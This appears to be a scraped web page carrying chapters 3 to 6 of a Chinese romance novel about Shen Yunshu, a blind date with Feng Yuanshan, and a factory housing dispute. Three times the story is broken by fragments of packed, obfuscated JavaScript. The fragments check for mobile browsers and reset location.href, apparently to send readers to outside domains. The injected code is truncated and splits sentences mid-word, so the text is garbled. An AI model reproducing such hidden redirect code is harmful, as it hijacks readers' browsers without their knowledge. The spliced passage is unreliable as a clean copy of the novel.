RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090485|163625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看不沾边,脸颊被面塞得满满的,一动一动地嚼着,大概是吃热了,泛着粉的鼻尖上缀着细碎的汗珠,让看的人很有食欲,冯远山本来不饿,也动筷子夹了几口。 沈云舒怕他赶时间,开始吃得很快,但看他有一筷子没一筷子地吃着,好像也并不急,她才慢下速度。 吃到最后,两个素菜吃了个差不多,红烧肉基本没动,他一筷子都没沾,他不喜欢吃的话,也不知道他点这个菜干嘛,沈云舒虽然喜欢,也没舍得多吃,只吃了两块,她想着,剩下的可以带回去给小知言,小知言看到肯定会一蹦三尺高。 沈云舒放下筷子,拿手帕沾了沾唇,又端起水杯,慢慢地喝着水,胃被添饱了,身上也舒服了许多。 冯远山看她没有再吃的意思,也放下了筷子。 沈云舒这才意识到他应该是怕她着急,所以在边吃边等她,她将水杯里的水一饮而尽,问道,“我们走?” 冯远山点头,又起身,沈云舒以为他是要去结账,也忙起身,冯远山在前台拿了两张油纸回来,用干净的筷子把肉夹到油纸里,打包好,递给她,“家里小朋友应该会喜欢。” 沈云舒有些意外他的心细,他长着一张什么都不在乎的脸,她接过去,认真道,“谢谢。” 冯远山看了眼外面还没停下的雪,“你家离这儿远吗?” 沈云舒回,“不远,我自己走回去就行。” 冯远山确实也不太想再送她一趟,饭吃完,能给老太太有个交待就行,他道,“我还有事,要先走。” 沈云舒连连点头,那个样子像是巴不得他快点儿走。 冯远山想起什么,又看她,避免老太太回头找他的麻烦,有些事情还是现在说清楚得好,但又有些迟疑,他就算没多少和姑娘打交道的经验,也知道姑娘脸皮薄,他怕说得太直截了当了,她会吃心,她好像挺能哭。 沈云舒知道他要说什么,“我会跟青萤姐说,我们性格不太合适,您看这样可以吗?” 冯远山一顿,又点头,“行。” 沈云舒眼睛弯了弯,这样就省事许多,她也能给青萤姐有个交待。 冯远山深深地看她一眼,没再说什么,迈步直接走了。 沈云舒把围巾围好,又拎起包,刚要走,看到桌子上有一副黑皮手套,应该是他的,她想叫住他,他人已经出了饭馆。 春水掀帘从里屋出来,看到沈云舒背起了包,快步过来,“姐,这么快就吃好了,我冯大哥呢,走了?” 沈云舒道,“对,他有事先走了,小哥,你算下我们这桌多少钱?” 春水挠头,“我冯大哥已经结完了,他没跟你说吗?” 沈云舒愣住,忙看向窗外,她拿起手套,边往外走边对春水道,“小哥,我先走了哈。” 春水追着她的脚步也走出来,“姐,我叫春水,你还要再来哈,下次来我师父给你打折。” 沈云舒出了饭馆,一眼看到他在前面的小卖铺打电话,她也就没那么急了,回头对春水道,“好,春水小哥,你快回屋吧,外面怪冷的,有时间我会再来。” 春水冲她挥了挥手,有些不舍地回了屋。 沈云舒走到小卖铺旁,等他打完电话。 陆秋明骑着自行车急匆匆地奔过来,骑到小卖铺跟前才看到沈云舒,他忙刹住闸,高兴地叫她,“云舒,你在这儿干嘛,我还说要去家里找你。” 陆秋明在服装市场开个体店,沈云舒从去年开始在他那儿拿活儿,织毛衣,做棉袄,绣虎头鞋,这些她都能做,她做活儿快,心又细,做出的样式儿又好,陆秋明有什么活儿都喜欢先给她。 沈云舒看陆秋明这个样子,就知道是又有活儿了,她高兴上前,“秋明哥,我也正想着要去你家找你一趟呢。” 冯远山撂了电话,又让小卖铺老板给他拿了包烟,付完钱,回身看过来。 陆秋明在给沈云舒看一个衣服的样式,想让她看看能不能做出来,这是个急活儿,她要是能做,这单的钱他能分她一半。 沈云舒当然要接,不会做她也能给研究明白,两个人围着一张图纸,你一句我一句说得认真。 冯远山看着挨得越来越近的两个脑袋,漆黑的眸子半眯起。 这姑娘挺有意思的,好像跟谁都能亲近起来,见到谁也喜欢叫哥,比她小的叫“小哥”,比她大的叫“哥”,怎么到了他这儿,就一口一个“您”的成了长辈,他也就大她五岁,他在她眼里是有多老。 冯远山盯着两个人看了半晌,点出一根烟叼在嘴里,转身离开。 没走两步,身后有人叫住他。 “冯大哥。” 又脆又甜的一声。 4. 第 4 章 冯远山脚步稍顿,继续向前走,沈云舒着急,又叫一声“冯大哥”,冯远山这才停下,将嘴里叼着的烟拿下来,转身回看她。 沈云舒小跑着几步追上来,把手套递给他,“您手套忘了。” 冯远山接过去,还没道谢,沈云舒说了句“那您慢走”,扭头又走回到陆秋明身旁,继续说衣服的事情,她要是每天晚上再多干两个小时,月底之前应该能把这批衣服给赶出来。 陆秋明看一眼冯远山,好奇问沈云舒,“谁呀?” 秋明哥别的地方都挺好,热心肠,做事儿又靠谱,就是嘴有点儿碎,他知道的事情,不出一天,差不多半个镇的人都能听上一嘴。 沈云舒只简单道,“一远房亲戚家的大哥。” 陆秋明不疑有他,还对一直盯着他看的冯远山热情地笑了笑,云舒的大哥就是他大哥。 冯远山面无表情地轻叩一下手套,转脚走了。 陆秋明看着冯远山肩宽背阔的高大身影,暗自嘀咕,云舒这远房大哥看起来还挺凶的,不过凶点儿也挺好,凶点儿能护住云舒和小知言,省得他们被别人欺负。 沈云舒研究明白衣服的裁剪,打出几天的余量给了陆秋明一个交货的工期。 陆秋明大喜,这批活儿货主要求高,别人做不来,她一个人能接下最好,他已经把一半的定金给带过来了,布料下午就给她送家去。 沈云舒刚把身上所有的钱都放在了冯远山的手套里,她本来还发愁下半个月要紧巴过日子了,现在有了这笔进项,到年底日子都会宽泛许多。 她到副食店称了两斤桃酥,又到隔壁烤鸡店买了只烤鸡,直接奔了青萤姐家,行还是不行,都得先跟青萤姐说一声,省得她记挂。 方青萤正窝在炕上做被子,眼睛时不时瞅一眼窗外,看到沈云舒进了院儿,把针往被子上一插,连外套都来不及穿,踢踏着棉鞋就跑出来迎沈云舒,“见完面了?咋样?” 她第一次当媒人,有些抑不住地兴奋。 沈云舒如实说可能不是很合适,方青萤一听虽然觉得多少有些可惜,但缘分这种事儿,强求不来。 她拉着沈云舒进屋,“没事儿,这个不行,咱再找下一个,我跟你说,这几天,我把咱镇上还有隔壁几个镇的好小伙儿们都给列出来了,咱一个一个相,总能相到一个合适的。” 沈云舒哪儿想到青萤姐已经为她盘算了这么多,她心头泛出暖意,紧握住方青萤的手,说出自己的心里话,“青萤姐,还是算了,我暂时不想结婚这档子事了。” 她本就顶着克父母克兄嫂的名声,她也不会把小知言送养到别家,现在又因为和周时礼的事情,镇上说什么难听话的都有,她无论进了谁家的门,怕是都得看人脸色过日子,她不想让自己受委屈,更不能让小知言也跟着受委屈。 与其去别人家受气,还不如她带着小知言自己过,她有手有脚,现在虽然苦点累点,总能有把日子给过好的一天。 方青萤听到沈云舒这样说,当下鼻子一酸,眼眶就有些红,周时礼那个杀千刀的,她就该提着把菜刀找到他单位去,他是高高兴兴地要娶什么局长家的千金了,她妹子因为他对男人都心死了,等他结婚那天,她非要去现场闹一通不可,她能让他安生结完这个婚她就不姓方。 沈云舒看青萤姐的样子就知道她是想歪了,她抱住她,柔声哄,“跟周时礼没关系,我又不是说一辈子都不结婚,以后要是遇到合适的,我肯定会把握住,现在我就想着多挣些钱,秋明哥刚给了我一单大活儿,要是月底能赶出来,我能挣到这个数。” 方青萤一看沈云舒翻了两翻的手,马上眼眶也不红了,也不伤心难过了,也是,臭男人有什么好,哪儿有钱来得重要。 她把脸一抹,痛快道,“行,那就先不相了,把钱挣到手才是要紧的,回头下了工,你就回家赶你的活儿,接送小知言的事儿全都交给我了。” 方青萤手笨,做不了什么细致的针线活儿,就连做个被子,那歪歪扭扭的针脚都跟蚂蚁爬似的,岁岁冬天的棉裤棉袄,夏天的裙子,都是沈云舒这个小姨给她做,方青萤别的忙帮不上,就在沈云舒赶活儿的时候,帮着接送小知言上下学。 有青萤姐做她的大后勤,沈云舒对这单急活更没了什么后顾之忧,她帮着青萤姐一块儿做好被子,又趁青萤姐不注意,把买来的东西放到灶台旁,快步回了家。 纷纷扬扬的大雪一直到天黑都没有停下,都说瑞雪兆丰年,沈云舒觉得这场雪应该是个再好不过的兆头。 顾老太太手里拿着本书,围坐在暖烘烘的火炉旁眯着盹儿,门口传来些动静,老太太立马精神起来,冯远山顶着风雪掀帘进来,对上的就是老太太炯炯有神的一双眼睛。 现在已经快十点,往常这个时候老太太早就上炕睡觉了,冯远山倒没想到老太太对他相亲这件事上心到了这种地步,他原以为她老人家只是一时心血来潮。 冯远山先老太太开口,“您不用想了,没戏。” 顾老太太问,“怎么个没戏法儿,人姑娘没看上你?” 冯远山点头,“她才二十出头,还正小,我都快三十了,年纪差得太多,坐一块儿也没话聊。” 顾老太太不同意这话,“才五岁,这不叫年纪差得多,第一次见面,没话聊正常,多见几次面就好了。” 冯远山打住老太太还要继续见面的念头,“没必要再见面,我想过了,结婚这事儿还是再等等,我现在所有的钱都压在工厂上,万一这工厂再开不起来,我不就成了一穷二白的穷光蛋,您忍心让哪个姑娘嫁过来跟着我受苦。” 顾老太太没那么好糊弄,他当初从广州回来的时候,交给过她两张存折,那里面的钱一直就没动过,他再穷也不至于成穷光蛋。 老太太也不和他废话,只抓问题的关键,“你刚只说人姑娘没看上你,那你看没看上人姑娘?” 冯远山回得笃定,“我们不合适。” 老太太道,“我只问你看没看上,谁问你合不合适了?这合适还是不合适都是靠磨出来的,没有哪对夫妻从一开始就哪儿哪儿都合适得不行,等结完婚,在一个屋开始一块儿过日子了,你磨磨我,我磨磨你,慢慢地,就找到让对方和自己都舒坦的那条线了。” 冯远山边脱大衣边打趣,“这都是您和老爷子的经验之谈?” 顾老太太拿手里的书砸他,她和他说正经的,他在这儿开她一个老婆子的玩笑。 飞过来的书没砸到冯远山,倒把他大衣兜里插着的手套砸到了地上,手套里的钱也掉落了出来,冯远山有些意外,他那会儿随手把手套塞到了兜里,没注意到手套里还有钱。 这钱有零有整,还有两个钢镚,连一分钱都给放进来了,她应该是把身上所有的钱都给了他。 冯远山想到什么,唇轻微地动了下,她大概从一开始就打定主意要付这顿饭钱,所以他说添红烧肉的时候,她的眼睛才会那样支棱起来。 顾老太太从躺椅上直起身,饶有兴味地看冯远山,“你想到什么了?” 冯远山收敛唇起角,俯身捡起将地上的钱和书,“我能想什么。” 顾老太太不信,“那你笑什么?” 冯远山道,“您眼花了。” 顾老太太哼一声,“我眼睛花没花我老婆子自己最清楚,你笑没笑你自己心里也清楚,反正人你也见过了,往后就是打着灯笼都难找到一个比这还俊的好姑娘,你没看上也就算了,你要是看上了,自己还不知道上心,回头姑娘进了别人家的门,你别后悔就行。” 冯远山不给她留任何活话,“您什么时候看我干过让自己后悔的事儿。” 顾老太太气呼呼地起身,“行,明天我就去跟青萤说,让人姑娘该相就接着相,回头等她结婚,我得包一个大大的红包给她,我这辈子能不能有孙媳妇儿都两说,攒着那退休金也没用。” 冯远山笑着上前去扶她,“您别着急,等再过两年,我肯定把孙媳妇儿给您领回来,让您给红包给个够,成不?” 顾老太太一巴掌拍开他的手,可她生气归生气,跟他也没招,他要是真对人姑娘没眼缘,这也不是硬逼就能成的事儿,只是可惜了那么好的姑娘,也不知道谁家能有那个福气。 沈云舒这几天忙得脚不沾地,她白天在机械厂上班,晚上才有时间做衣服,每晚都得忙到一两点才能睡。 小知言知道小姑姑要赶活儿,每天回到家就自己写作业,吃完饭还包揽了洗碗的活儿,然后自己洗漱洗脚,上炕后看会儿小人儿书,就把自己给哄睡着了,争取不给小姑添一点儿乱。 他越乖,沈云舒越心疼他,这几天地上的雪基本化没了,路也好走了些,沈云舒周六只上半天班,她从厂子出来,骑着自行车绕了半个镇,到了镇上的商场。 黄大爷的小孙子小虎子新得了一挖掘机的玩具,那次小虎子拿着那挖掘机在街上玩儿,小知言盯着瞅了好几眼,明显是喜欢,但他心里就是再喜欢,也不会说出来,沈云舒跟黄大爷打听过,那玩具是在镇上的商场买的。 她今天过来,一是给小知言把那玩具给买了,岁岁马上要过生日,她打算再给岁岁挑个漂亮的小玩偶,那小姑娘最喜欢这种毛茸茸的小玩意儿。 沈云舒找地儿停好自行车,又拿链子把自行车锁好,起身的时候一抬眼,撞进了一双深沉的眸子里,她的背下意识地挺直了些。 冯远山在商场对面茶楼的二层露台喝茶,旁边还坐着一年轻姑娘,杏黄色妮子大衣,现下最时兴的波浪大卷,好看极了。 沈云舒装作不经意地转开眼,拿起车筐里的包,往商场走去。 青石镇说小不小,说大也不大,原以为再也不会有交集的人,没想到这么快就又碰到了。 冯雅琳凑到冯远山身边,顺着他的视线落到沈云舒身上,立刻嗅到了几分不同寻常的味道,“认识?” 冯远山端起茶杯,喝一口茶,淡声回,“不认识。” 冯雅琳继续试探,“她好看还是我好看?” 冯远山随口应付,“天底下你最好看。 冯雅琳嘴角翘了翘,最后实在没忍住,咯咯地笑开,她最听不得别人夸她好看,哪怕她知道她哥是在哄她。 沈云舒掀开厚重的窗帘,进到商场里,将银铃般的笑声阻隔在门外。 冯雅琳好半天才止住笑,她理了理自己头发,正色道,“夸我也没用,话我给你带到了,怎么说也是咱爸五十整的大日子,到时候爸的那些老战友老部下都去,你这个当儿子的不到,说不过去。” 冯雅琳是冯远山同父异母的妹妹,比冯远山小八岁,在那个家,冯远山也就对冯雅琳还有几分好颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090486|163625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色。 冯远山敷衍道,“再说吧。” 冯雅琳晃他的胳膊撒娇,“不能再说,你今天就得给我个准信儿。” 冯远山提醒她,“你不是和朋友约了电影?” 冯雅琳一看时间,拎起包就跑,跑到楼下街上,又冲二楼的人喊,“咱说好了哈,后天你和我一块儿回去,不然我就坐地上打滚哭,你又不是没见识过,我能哭三个小时都不带停的。” 冯远山唇角扬起些弧度,冯雅琳看到他笑了,就知道这事儿有谱了,她高兴地比了个“耶”,又看了眼从商场出来的沈云舒,把包甩到肩上,一蹦一跳地跑远了。 沈云舒买东西很快,看准了要买什么,价格合适,付完钱就走,卖玩具的就在一层靠近门口的位置,前后不过五分钟,她已经买完了。 在路边等人的魏玉芬看到沈云舒,眼睛亮起,“哎,小沈,你也来买东西。” 魏玉芬的男人是机械厂的副厂长,她虽然是个领导家属,但没什么架子,就是话多,碰到谁都能张家长李家短地聊上几句。 沈云舒看她两手满满当当都提着东西,回道,“我给小知言买个玩具,婶儿,您没骑车来吗,要不把东西放我车上?” 魏玉芬笑,“不用,我儿子等会儿过来接我,”她说着话,认真打量过沈云舒,又道,“小沈,我一个人等得无聊,要不我们进茶楼,你陪我喝口茶吧?” 沈云舒没推辞,顺势道了好,她其实想跟她打听一下房子的事情,最近两天厂子里一直在传住房改革的事情,副厂长是主要负责人。 她和小知言住的房子是当初厂子分给她哥的,她哥现在不在了,她又没结婚,要是有人诚心拿这件事做文章,比如陈美娜和张明达,难保这中间不会出什么岔子。 沈云舒刚要迈步,又抬头看向茶楼的二层。 他还在。 在也没什么要紧,不过是相过一回亲,也没什么好刻意避开的。 魏玉芬看一眼冯远山,又眯眼看沈云舒,“认识?” 沈云舒收回视线,摇头,“不认识。” 她伸手接魏玉芬拎着的东西,“婶儿,我帮你拎吧。” 魏玉芬没客气,把最沉的那个袋子给了她。 二楼的冯远山盯着手里的文件看了会儿,又将文件扔到桌子上,文件的一角碰到茶杯,水面泛起细小的涟漪,微不可察。 沈云舒和魏玉芬坐在茶楼一层靠近楼梯的位置,沈云舒还没聊到房子的事情,魏玉芬起身冲在茶楼门口徘徊的一男人招手,“盛强,这儿呢。” 刘盛强本来还满眼的不耐烦,瞅见他娘旁边的沈云舒,紧皱的眉头舒展了些,他一瘸一拐地走过来,一屁股坐到沈云舒的对面。 沈云舒和刘盛强不算熟,刘盛强原来在厂子的运输队,前年春节的时候,说是喝醉酒没看清夜路,摔断了一条腿,之后就被调到了质检部,厂子里对他的风评不是很好,沈云舒平时就算和他碰到也很少主动打招呼。 魏玉芬对自家儿子使了个眼色,又笑眯眯地对沈云舒道,“小沈,你俩先坐一会儿哈,我去上个厕所。” 刘盛强等魏玉芬走远,摊开两条腿,大赤剌剌地靠到椅背,对沈云舒扬了扬下巴,“看出来了没,我娘想撮合我俩。” 他身上的酒气太重,沈云舒不动声色地往后挪了些位置。 刘盛强打一个酒嗝,盯着沈云舒的脸看,“不怪我娘一直想让你当儿媳妇,你长得是挺好看,还是我喜欢的那种长相,以后我俩结了婚,无论带你到哪儿去,我面上都有光。你嫁给我,你也不亏,我命硬,不怕你克我,你就算想带着你哥家那小子进我家门也没问题,反正我家的房间多,肯定有他睡觉的地方。” 沈云舒还没说话,刘盛强又道,“不过在谈婚事儿前,我想知道你和那个周时礼睡没睡过?我虽然瘸了一条腿,还不至于要娶个二手货,再好看也不行。” 他的声音刻意提高了些,茶楼里不多的几个人都看了过来。 沈云舒竭力克制住打颤的指尖,她握紧拳头,慢慢站起来,居高临下地看着他,一字一字轻声道,“你整天没事儿干,是不是就想着怎么做白日梦了,你就是想娶,还得问问我想不想嫁你这种没人要的垃圾货。” 刘盛强恼羞成怒,张口要骂人,有人一脚踹上他的椅子,刘盛强一个趔趄险些栽倒,他瞪着一双牛眼,扭头回看过去,“我草,哪个不长眼的敢踹--” 他看清身后的人,酒劲儿登时醒了大半,到嘴边的话慌着止住,牙差点咬破舌头,他讪笑两声,又殷勤道,“冯哥,我是不是扰了您喝茶。” 冯远山睨着他,眸底冷寒,“喝了两杯黄汤就不知道自己姓什么了,我看你这腿摔得还是轻,一点儿记性没长。” 刘盛强压根儿不知道他这股斜火是从哪儿起的,他忍着腿上的疼,照着自己的嘴抽了一巴掌,没省什么力气,“我下次一定注意,再不喝酒了。” 冯远山懒得再看他这副欺软怕硬的三孙子样儿,他擦着沈云舒的肩,目不斜视地走了,快走到门口,脚止住,停了片刻,又不紧不慢地原路返回。 刘盛强看这位爷去而复返,全身上下的皮绷得更紧了些,生怕他再给他来一脚。 冯远山停在沈云舒面前,拿起桌子上她的包,声音和脸一样冷,“走不走?” 5. 第 5 章 沈云舒在他的注视下,点下了头。 冯远山拉开她身后的椅子,等她走出来,又将椅子推回去,沈云舒跟上他的脚步,两人一前一后走出茶楼。 刘盛强等不见了人影,身上的骨头才敢软下来,他扶着桌子坐下,暗骂道,“草,这俩人什么时候搞到一块儿了?” 沈云舒走到室外,被裹挟而来的冷风一吹,有些空白的大脑回了些思绪,她从他手里接过包,勉强撑起些笑,客气又郑重地道谢,“刚才真的是多谢您。” 真要和一个醉鬼闹起来,最后吃亏的还是她。 冯远山的视线掠过她发红的眼眶,转向人来人往的街头,“不是为你。” 工厂上面的事情刘盛强背地里使绊子不是一次两次,今天不过是借着这个由头,给他点儿教训,省得他忘了自己姓什么。 沈云舒还不至于自作多情到什么事情都往自己身上拉,她忙道,“我知道的。” 她这副急于撇清的样子太明显,冯远山要笑不笑地看她,“你知道什么?” 沈云舒没想到他会反问回来,一时语塞住,不知道要怎么解释,原本苍白的脸颊慢慢涨出些红。 冯远山似乎只是随口一问,也不执着于要出一个答案,他抬腕看了眼时间,和她随意点了下头,算是告辞。 沈云舒看他要走,悄悄松了口气,他的目光像深潭的寒冰,总给她一种什么都能看透的压迫感,他应该不是一个好相与的人,往后能少打交道还是少打交道的好。 两人的肩膀,一个向左,一个向右,还没转身,冯雅琳拎着自己的小皮包,小鸟一样从不远处的一个摩托车后面蹿出来,几步跑到冯远山身边,亲亲热热挽上他的胳膊,又得意洋洋地冲他哼一声,还说不认识。 冯远山皱眉看她,“你又回来干什么?” 冯雅琳撇撇嘴,她不是又回来,她是一直没走,他什么时候盯着一个女生不挪眼地看过,这里面绝对有不对劲儿的地方,刚看到沈云舒进了茶楼,她就猫到了街边一个摩托车的后面。 看吧,被她给逮了个正着,她又不是三岁小朋友,没那么好骗的。 沈云舒心里坦荡,倒不怕别人会误会什么,只是多一事不如少一事,她只当自己是路过的陌生人,抬脚要继续走。 冯雅琳挥手和她打招呼,“你好呀。” 沈云舒脚步只能停住,她礼貌回道,“你好。” 冯远山看一眼沈云舒,简单介绍,“我妹。” 冯雅琳突然意识到她现在的行为好像容易引起什么误会,她赶紧松开冯远山的胳膊,“对,我是他妹,亲生的,同一个爹同一个祖宗的那种。” 沈云舒被冯雅琳跳脱的话逗得眼睛弯了弯,冯雅琳看着沈云舒,有些呆住,这也太漂亮了,她一个女的,魂儿好像都要被勾没了。 冯远山轻拍一下她的后脑勺,让她回神,“不看你的电影了?” 冯雅琳艰难地从沈云舒的脸上移开视线,她自认抓住了她哥的小辫子,不想错过这个敲竹杠的机会,让她走可以,怎么也得付出点儿代价,她手心朝上,伸到冯远山面前,“我的钱不够。” 冯远山从兜里拿出钱包,抽出一张留下,直接把钱包递过去,冯雅琳克制住心里的激动,伸手要接,冯远山拿钱包点她,“八点之前必须回家。” 冯雅琳立正敬礼,“遵命!” 冯远山这才把钱包松开。 冯雅琳钱包到手,不再当碍眼的电灯泡,她凑到沈云舒身边,快速又小声地开口,“我哥看起来是有些凶,但他要是想对谁好,绝对是属于把人捧到手心里疼的那种,我敢打包票。” 不等冯远山过来提溜她,冯雅琳已经倒着两条腿跑了,她对冯远山做了个鬼脸,又冲沈云舒使劲挥挥手,在心里默默地叹一声,要是她能当她的嫂子,她要举双手双脚赞成。 冯远山替冯雅琳道歉,“她小孩子脾气,跟谁说话都没个轻重。” 语气虽嫌弃,也不难听出几分纵容的宠溺。 沈云舒笑了笑,有人宠才会有恃无恐,他应该是一个很好的哥哥,沈云舒想到她哥,眼眶有些涩,她眨了下眼,将眼底的异样掩去,唇角的笑容撑得更深了些,“冯大哥,我还有事,就先走了。” 冯远山看向她的眼睛,点头冷淡“嗯”一声。 沈云舒感觉到落在她背上的目光,有些不明意味的重量,她挺直背,稳住脚,镇定走到自己的自行车旁,冯远山等她骑上自行车,收回视线,大步走向停在路边的车。 穿过热闹的街头,拐到行人稀少的大道上,沈云舒刚才一直压抑着的情绪才翻涌上来,她用力蹬着自行车,刺骨的冷风将脸刮得生疼,这种疼多少抵消了些心里的难受。 冯远山的车经过她身边,两人短暂地并行一秒,冯远山踩下油门,距离又很快拉开,相隔越来越远。 沈云舒担心的事情还是发生了,房改的政策最终定了下来,厂内职工可以回购职工宿舍,但她没有购房资格,厂子里还准备把他们现在住的房子收回去。 给出的原因也简单,这房子是厂子当初分给她哥的,她哥去世已经好几年,厂里让他们住到现在已经是仁至义尽,而她因为还没结婚,实际上连分房资格都没有。 收房通知已经发到了她手里,限期一个月内搬离。 沈云舒几次找到厂办,厂办主任一直对她避而不见,下面的人推来推去,也不给个明白话儿。 最后被她堵得没办法了,一位老员工才语意不清地说了一句,上面有人发了话,他们也不得不照办。 沈云舒知道上面的人是谁,她直接走到厂办主任紧闭的办公室门前,对着里面扬声道,“王主任,既然您说您管不了,我也不为难您,等下了班我就去找老厂长,我要问问老厂长,当年我哥为保护厂里的机器牺牲,咱们厂就这么对待因公殉职的员工家属?老厂长要是还管不了,我就去找报社,报社对这种事情应该最感兴趣,正好也借着这个机会让咱们厂在全国人民面前长长脸,也让那些兄弟单位好好看看咱们厂一心为员工着想的榜样做派。” 原本喧闹的走廊瞬间安静得鸦雀无声,谁都知道沈云舒嘴甜好说话,性子又软,这还是他们第一次见到她冷下脸来的样子。 沈云舒说完就走,一口气走到办公楼外,将眼里的潮气使劲给憋回去,又若无其事地回到车间,继续干自己的活儿。 她等着他们来找她,厂长和副厂长的办公室就在厂办主任办公室的旁边,她不信她说的话他们听不到,老厂长虽然退休了,但他说话还是有分量的,他这两年身体不太好,要是不到万不得已,她不想拿这些事去烦他。 没过一个小时,厂办就来了电话,厂办主任王建设亲自和她谈的,一改之前的态度,主要说了两点。 现在的房子他们可以继续住下去,现任厂长已经发话了,厂子在一天,就不会把房子给收回来。 但她想要购房资格,还得先拿着结婚证,正常走一遍分房手续,才能把现在的房子分到她的名下,现在正是房改的关键,厂里上上下下的员工都在盯着这件事,要是手续不全,没法服众,她就是闹到报社,这件事她也不占理。 针对第一点,沈云舒已经提前准备了文件字据,该签字的人都签上字,该盖的章全都盖上,这事儿才算完。 王建设看着沈云舒一式两份的手写字据,眉毛高高地挑起,他倒真对这姑娘刮目相看了,平时不显山不露水,一到关键时候,不但有勇,更有谋,轻轻松松就把事情解决了不说,还知道给自己添一层保障。 他脸上笑着,语气却略带嘲讽,“行啊,小沈,考虑得挺周到。” 沈云舒不撂着他的话,“王主任,您见谅,我这也是吃了教训,被逼急了没办法,我要是不考虑周到点儿,说不定什么时候我和我小侄儿就要去睡大街了,我去睡大街也不是不行,但要是让我哥知道他唯一的儿子去睡大街了,您说他晚上是去找您,还是去找副厂长,好好说道说道这件事。” 得,王建设老脸一白,也不废话了,拿着两份文件,挨个敲响了副厂长和厂长的门,你们要是晚上不想被人找上门,就赶紧给人姑娘签字、盖章,一个都不能落下。 沈云舒坐在门大敞的办公室里,握紧冰凉的手,鼻尖泛起痒,她偏头打了个喷嚏,不知道是要感冒,还是有人在骂她。 估计是后者,总不至于是有人在想她。 冯远山应付眼前的人应付得不耐烦,思绪早就被别的事情占据,寻呼机传来呼叫,他拿过来扫一眼,目光稍顿,又将寻呼机放回去,背靠到沙发上,继续耐着性子听何燕婷说那些在国外的趣事,片刻后,轻叩着沙发的手指慢慢停住。 他直起身,对何燕婷道,“抱歉,燕婷,我这边有点儿急事,得先去打个电话。” 何燕婷一顿,唇角扬起了些,笑得善解人意,“那你快去忙你的,不用管我,我去找雅琳说会儿话。” 冯远山头也不回地离开,几步上了楼,何燕婷看着他挺阔的背影,眼里笑意加深。 隔壁屋的书房,钟情对冯敬峰小声嘀咕,“燕婷肯定是喜欢远山的,两个人性子也合,远山话少,燕婷开朗活泼,他们又是同学好几年,多少都会有些情分在,再多处处,没准儿真能成。” 冯敬峰冷哼,“成什么成,燕婷再怎么着也是你名义上的外甥女,这沾亲带故的,传出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾松寒跟说评书似的,把刘盛强他爹这个副厂长是怎么欺负嫂子的,嫂子又是怎么回击回去的,一口气给说完。 说得那叫一个跌宕起伏,大开大合,他忍不住感叹,“我嫂子可真厉害。” 冯远山默了默,最后严肃给他警告,“她不是你嫂子,别在外面乱叫,坏了人姑娘的名声。” 顾松寒听着电话毫不留情被挂断的声音,轻“啧”一声,您要是不为人姑娘出头在先,现在能轮得到我来坏她名声,这难道就是传说中的只许州官放火不许百姓点灯。 沈云舒对这些天外面传的事情倒没有多在意,反正她名声已经够坏了,再多添一两条闲话也不会给她造成多大的困扰,就是相亲对象提起,她难免要解释一句她和冯远山之间的关系。 简单概括,就是没有任何关系。 是的,沈云舒又相起了亲,她想要那个购房资格,有了他们自己的房子,以后也算是多了一条退路。 她哥去世的时候,厂子里有给一笔抚恤金,这几年过得再难,她都没动过那笔钱,再加上周时礼汇过来的钱,厂里还会给一部分补贴,她算过了,差不多能把那个房子给买下来。 至于房子买下来后的归属,她会在婚前都和男方谈好,那个房子有她哥和嫂子生活过的痕迹,如果可以,她想留给小知言。 这回相亲的对象也是青萤姐介绍的,卫生所的医生,叫林行简,长得高高瘦瘦,白白净净,戴着个金丝边的眼镜,一副斯文相。 两个人前两天在卫生所已经见过一面,大概了解了一下彼此的情况,双方都觉得还算合适,林行简态度也比较积极,今天又约她出来吃饭,她没拒绝,主要是想再多接触接触。 青萤姐说,相亲就是这样,快的话,见三次面就能把终身大事给定下来。 沈云舒心里虽然没什么底儿,但情势逼着她不得不走一步看一步。 冯敬峰寿辰宴结束的当晚,冯远山坐火车直接去了广州,原本打算待三天就往回走,但事情办得不是很顺利,拖了一个星期才算是料理利落。 刚回到旅馆,房间里的座机就响起,他随手拿起听筒,夹到耳边,又脱下外套扔到椅子上,“说。” 顾松寒压着嗓子像是在对什么接头暗号,“哥,你当王八了。” 冯远山平静问,“什么王八?” 顾松寒躲在公共电话亭,眼睛盯着饭馆里相谈甚欢的两个人,着急道,“嫂子在和一个小白脸儿相亲!那个小白脸儿比你白的可不是一点儿半点儿。” 他嫌不够,又添一句,“嫂子对他笑得可甜了。” 6. 第 6 章 沈云舒和林行简吃完饭,天都黑了,林行简提议再去看个电影,镇上只有一个小电影院,离她家很远,看完电影再回去不定得几点,她推说下次有时间再看。 林行简马上问,下次是什么时候? 沈云舒想了想她现在手里还剩的活儿,问他这周六的下午可以吗。周六的话,她也有时间提前买好票,今天的饭钱是他掏的,下次的电影她不想再让他付钱。 林行简用力点点头,眼睛在昏黄的路灯下闪着熠熠的光,里面全是笑。 沈云舒眼神微闪,也笑了笑。 其实她没想到他们之间会进行得这么快,上次见面太匆忙,好多事情都没聊到,刚才在饭桌上,她把自己所有的情况都和他说清楚了。 她的意思是,让他先好好考虑考虑,也和家里人商量一下,结婚不只是两个人的事,她这种情况,家里老人能接受的很少,还是都提前说清楚,再看有没有继续走下去的必要。 